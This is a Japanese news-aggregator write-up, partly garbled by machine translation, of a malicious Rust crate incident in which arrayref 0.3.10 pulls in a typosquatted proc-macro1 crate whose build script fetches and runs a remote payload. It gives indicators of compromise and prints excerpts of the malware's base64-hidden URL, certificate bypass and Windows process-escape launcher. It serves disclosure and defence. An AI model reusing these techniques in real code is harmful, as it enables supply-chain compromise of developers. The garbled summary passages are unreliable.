悪意ある Rust クレート「Arrayref」がビルド時ペイロードを実行

2026/08/20 22:23

悪意ある Rust クレート「Arrayref」がビルド時ペイロードを実行

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

2026年8月20日、広く利用されている Rust クレート

arrayref
(バージョン 0.3.10)に関連する重大なセキュリティ侵害が特定され対応されましたが、以前にコンパイルされたプロジェクトについては即時の措置が必要です。攻撃者は、古い安全なバージョンが yank(非推奨化)されたことで、開発者が唯一非 yank 化されたリリースである悪意あるバージョンを余儀なくされるという「yanking」脆弱性を利用しました。この悪意あるバージョンは、 impersonated アカウント(David Tolnay を Pretending to be と Pretend)で公開された typosquatted クレート
proc-macro1
に依存していましたが、コンパイル時にもとづくリモートバイナリを 23.254.165.112 からダウンロード・実行するビルドスクリプトを含んでいました。これにより、マシンデータが窃取されました。攻撃が成功した理由は、正当な保守者の GitHub アカウントが侵害されており、侵入を 404 エラーの背後に隠すことができたためです。crates.io チームは
arrayref
internment
append-only-vec
およびそれに関連する他のすべてのクリエートに影響を与えた全ての悪意あるアティファクトを含むものを取り除きました。しかしながら、この期間中にコンパイルされたプロジェクトのいずれもリスクに晒されています。したがって、開発者はこれらのバージョンを以前にインストールした場合は、手動でビルドキャッシュをクリアし、システムを検査して、マシンの上に悪意のあるコードが隠されていることを確認する必要があります。

本文

Rust クレート「arrayref」侵害インシデント:技術的詳細と影響範囲

2026 年 8 月 20 日、人気 Rust クレート**「arrayref」**の侵害されたリリースが公開されました。バージョン 0.3.10は、型名の偽装(typosquatting)により導入された悪意のあるクレート「proc-macro1」への依存を含んでいました。ビルド時に遠隔サーバーからバイナリをダウンロード・実行するスクリプトが含まれており、脆弱なバージョンのプルだけでトリガーされました。現在は crates.io によって該当リリースが削除済みです。


侵害されたパッケージと関係者

管理アカウントの状況

  • droundy: 「arrayref」と「append-only-vec」を管理していたアカウントが侵害されたと見られます。
    • GitHub リポジトリ (
      github.com/droundy/arrayref
      など) はすべて 404 エラー(存在しない)です。
    • アップストリームのコード検証が不可能な状態です。

なりすましアカウント

  • dtolney: 「proc-macro1」を公開したアカウントですが、本物の「dtolnay」と酷似しています。
    • メタデータには偽の著者情報
      authors = ["David Tolnay <[email protected]>"]
      が記載されています。
    • リポジトリ
      github.com/dtolnay/proc-macro1
      404 エラーです。

削除されたクレート一覧

クレート名バージョン公開者状態・備考
arrayref
0.3.10droundy(侵害)悪意あり、削除済み
internment
0.8.7droundy(侵害)悪意あり、削除済み
append-only-vec
0.1.9droundy(侵害)悪意あり、削除済み
proc-macro1
全バージョンdtolney(なりすまし)型名の偽装による悪意あるクレート、全て削除済み
proc-macro-en
全バージョン-悪意ある依存クレート、削除済み
aovine
全バージョン-悪意ある依存クレート、削除済み
arone
全バージョン-悪意ある依存クレート、削除済み
aronenao
全バージョン-悪意ある依存クレート、削除済み
tinymember
全バージョン-悪意ある依存クレート、削除済み

※補足:

proc-macro1
は本物の**「proc-macro2」ではありません**。マクロの著者が依存する真のライブラリは「proc-macro2」ですが、悪意のある「proc-macro1」はビルドスクリプト実行前まで正常に動作するため、ビルドプロセス自体を妨害せず、被害者の気づきにくさを狙っています。


被害拡大経路と影響規模

ユーザーへの導誘(バフリング)

  • 侵害アカウントは旧バージョン(0.3.5〜0.3.9)を**「ヤンク」**(公開から取り下げる操作)しました。
  • これにより Cargo は「更新されていないバージョンへの更新を検討すること」と警告しますが、開発者は最後に残る非ヤンクの0.3.10 バージョンへと導かれます。

影響範囲

  • arrayref
    は GUI フレームワーク(
    egui
    ,
    eframe
    ,
    iced
    )やグラフィックシステム(
    tiny-skia
    ,
    sctk-adwaita
    ,
    winit
    )の深い部分で広く使われています。
  • ダウンロード回数: 累計約2.45 億回(うちクリーンな 0.3.9 は約 1.52 億回)。
  • この数は使用頻度の指標であり、実際に脆弱なビルドが行われた数ではありませんが、潜在的リスクは極めて高いです。

侵害指標(IOCs)

ネットワーク通信先

  • ペイロードホスト:
    23.254.165.112:9089
    (HTTPS)
  • C2 サーバー:
    23.254.165.112:443

感染ファイル(ダウンロード後)

OSファイルパス・名前の例
Unix
/tmp/rust-setup
Windows
%TEMP%\rust-setup.ps1
Windows
%TEMP%\rust-setup-launch.vbs

セカンダリーステージのファイル名パターン

OS やアーキテクチャによって自動選択されるバイナリ名の接尾辞:

  • rust-crate_0.1.0
    (Linux x86_64)
  • rust-crate_0.2.0
    (Windows x86_64)
  • rust-crate_0.3.0
    (MacOS x86_64)
  • rust-crate_0.4.0
    (MacOS aarch64)

削除されたクレートの SHA256 ハッシュ

  • arrayref 0.3.10:
    25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
  • proc-macro1 1.0.107:
    61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
  • proc-macro1 1.0.106:
    b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

技術的詳細分析

悪意あるコードの配置場所

  • ペイロードは**「arrayref」本体には含まれていない**。
  • **依存先である「proc-macro1」**のビルドスクリプト (
    build.rs
    ) 内に配置されています。
  • Cargo は宣言された非オプション依存関係(
    [dependencies]
    )を、コードで使用されるかどうかに関わらず必ずビルドするため、単にこのクレートを入れるだけでトリガーされます。
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]  # ここが攻撃の入口
version = "1.0.107"

「proc-macro1」の構造

  • ソースコードは**「proc-macro2」**をメカニカルに置換(rename)したものです。
  • ドキュメントリンクやリポジトリ名さえ変更されており、ビルド前には本物のように機能します。
  • ただし、パッケージメタデータは完全に偽装されています:
authors = ["David Tolnay <[email protected]>"]  # 偽のメール
repository = "https://github.com/dtolnay/proc-macro1"  # 404 の URL

ビルド依存関係による悪意の実行

本物の「proc-macro2」にはないビルド依存関係が含まれており、これがペイロード実行の鍵となります:

[build-dependencies.base64]
version = "0.22"

[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false

[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false

これらがBase64 デコード、TLS 接続、HTTP ダウンロードを行うためのインフラを提供します。


ビルドスクリプトのペイロード実行フロー

ビルドスクリプトは、IP アドレスなどを Base64 で分割して格納し、コンパイル時に復号化・再構築する方式を採用しています。

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjEuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; // 復号化後
// 復号化結果:hxxps://23[.]254[.]165[.]112:9089/ および C2 アドレス

セキュリティバイパス

  • 証明書検証を無視:
    rustls
    の verifier が常に
    Ok(ServerCertVerified::assertion())
    を返すことで、自己署名証明書の攻撃も受け付けます。

OS 固有のペイロード実行ロジック

Unix システム

  1. /tmp/rust-setup
    にバイナリを記録する。
  2. 実行可能にする (
    chmod +x
    )。
  3. C2 アドレスを引数として渡さず、直接実行する。
  4. 標準入出力を無効化する(ログ隠蔽)。
fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod 実行、spawn 実行(標準出力を null)
}

Windows システム

  1. PowerShell スクリプト (
    rust-setup.ps1
    ) を記録する。
  2. VBScript ランチャーを通じて起動する。
  3. プロセス脱出:
    std::mem::forget
    でハンドルを意図的にリークし、ビルドスクリプトが終了しても PowerShell プロセスを殺さないように設計されています。
// WScript を介して Cargo の Job Object から脱出し、子プロセスを待たせない
let vbs = format!(r#"CreateObject("Wscript.Shell").Run "powershell.exe ..." "#, ...);
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child); // デストラクタ実行を阻止(プロセス生存)

この設計により、ペイロードはビルド完了後もバックグラウンドで継続して C2 サーバーと通信・制御を行うことが可能になります。

同じ日のほかのニュース

一覧に戻る →

2026/08/21 4:22

8 月 17 日の障害と今後の作業

## Japanese Translation: GitHub は、インフラストラクチャのスケーリング失敗により発生した直近の深刻なサービス障害を修正することを表明しました。これは急激なユーザー成長に伴いシステム信頼性を高める方向への決定的な転換です。以前はコードエラーが起因だった問題とは異なり、8 月 17 日のこの事象は、キーコンポーネントがトラフィックのピーク時にスケーリングできなかったことに起因し、月間コミット数が 14 億回から 29 億回へと倍増したという要因が悪化を招きました。これを解決するため、GitHub は CPU コアを 300 万超を追加する等インフラへの大幅な投資を行っており、特に GitHub Actions の高負荷に対処するために Azure へのワークロードのオフローディングを実施しています。CEO(CTO)Vladimir Fedorov が発表したこれらのアーキテクチャ変更には、大規模なコードベースに対して読み込み操作を無制限に許可する機能の導入や、カスケード故障を引き起こした従来の共有依存関係を排除するため重要システムを分離する措置も含まれます。今後、Copilot や API 等のサービスを利用する開発者を保護するために、一貫したリトライ上限と安全なデプロイ戦略の実施が強化されます。結果として、これらの対策は将来の障害発生確率を大幅に低減させ、一貫した可用性を確保することで、プラットフォームを活用して協調的なソフトウェア開発を行う数百万人のユーザーの生産性を safeguard(守り)ます。

2026/08/21 3:19

消費者権利ウィキ

## 日本語訳: ## まとめ: 2026 年、主要なウィキプラットフォームは、ユーザーの安全を強化し、コミュニティへの関与を改善するとともに消費者の利便性を拡大することを目的として、3 月、6 月、7 月に一連の技術アップデートを展開しました。2026 年 7 月 17 日、重要なセキュリティと機能の向上が実施されました:MediaWiki がバージョン 1.46 にアップグレードされ、拡張機能も更新されてパフォーマンスとセキュリティが改善されました;フィードバックボタンのレートリミットが強化されました;ログアウトには現在確認プロンプトが必要となり、誤操作によるサインアウトを防ぎます。新しいバックエンドのスパム対策機能が追加され、「ロックダウンモード」(Special:SiteLockdown)により、サイト管理者は未認証ユーザーの編集とアカウント作成を制限できます。テンプレートでの非承認ユーザーの編集機能は無効化され、一方、Wikimedia Commons から直接メディアにアクセスできるよう InstantCommons が有効化されました。「rollback-manager」権限を持つスタッフが Special:MassRollback を通じて大規模なロールバックを実行でき、Special:GiveAward で手動で賞の作成も可能です。 ユーザーインターフェースの強化には、記事のトークページにフィードバックセクション、ユーザーページに表示される編集とアクティビティチャートを示すトグル可能な「Your impact」パネル、大規模ロールバックと賞の付与へのリンクが含まれる更新されたツールドロップダウンが含まれます。2026 年 6 月 15 日、匿名の編集のための一時アカウントが有効化され、IP アドレスの公開表示を防ぎました。また、特定のチャンネルをブリッジすることで Discord/Zulip の統合が改善されました。バグ修正により、時折スタッフが受賞者としてリストされていた不適切な賞のログが解決しました。 2026 年 3 月の前半、プロジェクト「Laws」が開始され、消費者権利に関する法的文書を増やすとともに、定期タスク向けの「Project Maintain」と連携します;毎月初日の日曜日の 20:00(UTC)に月間 Zoom ハングアウトが予定されました。プラットフォームは .odt および .ods ファイルのアップロードをサポートし始めるとともに、Google でインデックス化を開始しました。 消費者権利と説明責任を支援するために、包括的な「Consumer Tools」リストが追加され、広告ブロック機能(Pi-hole、uBlock Origin)、反詐欺リソース(Have I Been Pwned、CFPB、VirusTotal)、アーカイブツール(Wayback Machine)、企業責任サイト(BBB、FDA Recalls)、法的手続きリソース(Consumer Reports、ClassAction.org)、修理、価格透明度、プライバシー、サブスクリプション追跡、ダークパターン認識のためのツールが含まれます。これらの変更は集まって、より堅牢で安全かつインタラクティブなデジタル環境を創造するとともに、価値のある外部リソースを提供することを目的としています。

2026/08/19 0:50

I like them thick: 英語の先生方への謝罪

## Japanese Translation: 著者は、偉大な文学作品や芸術を騙し絵として無効化する以前の主張を取り下げ、「厚み」という本質的な質を持つと確立します。この物質は、作品から時間の経過とともに深い洞察を引き出すことを可能にし、持久力のないものや AI 生成コンテンツとは区別されます。真の価値は、放棄されたドラフト、視聴者の貢献、そして検証に耐える能力によって定義されます。具体的な例は、密な注意が隠された層を明らかにする方法を示します。例えば、ヒエロニムス・ボスの『天国と地獄』では、学生が「お尻音楽」という不快な音階(世俗的な過剰さについての警告として意図されたもの)に気づきました。同様に、グレーム・ベースのインタラクティブな書籍は謎を解くために繰り返し読むことを必要とし、ジェーン・ジャコブスは、賑やかな街角には大学ベンチのような空虚さに欠ける活力があると観察しました。中世の音楽アルバムや 1960 年代から再生不能なトラックなどの歴史的な先例は、創造者がより深い意味を埋め込み、発見を必要とするというのを確認しています。究極的には、この内在的な深さを持つ作品だけが永続します。将来の成功は、個人がこれらの層を発見するために時間を投資することにかかっています。博物館を単純なスキャベンジャー・ハントのように扱うのではなく、「スロープ」を消費するのではなく。この視点は、教育者に、持続可能に展開する芸術の創造における人間の努力を価値付けるよう奨励し、業界を表面的な消費から複雑なアイデアへの意味のある関与へとシフトさせます。

悪意ある Rust クレート「Arrayref」がビルド時ペイロードを実行 | そっか~ニュース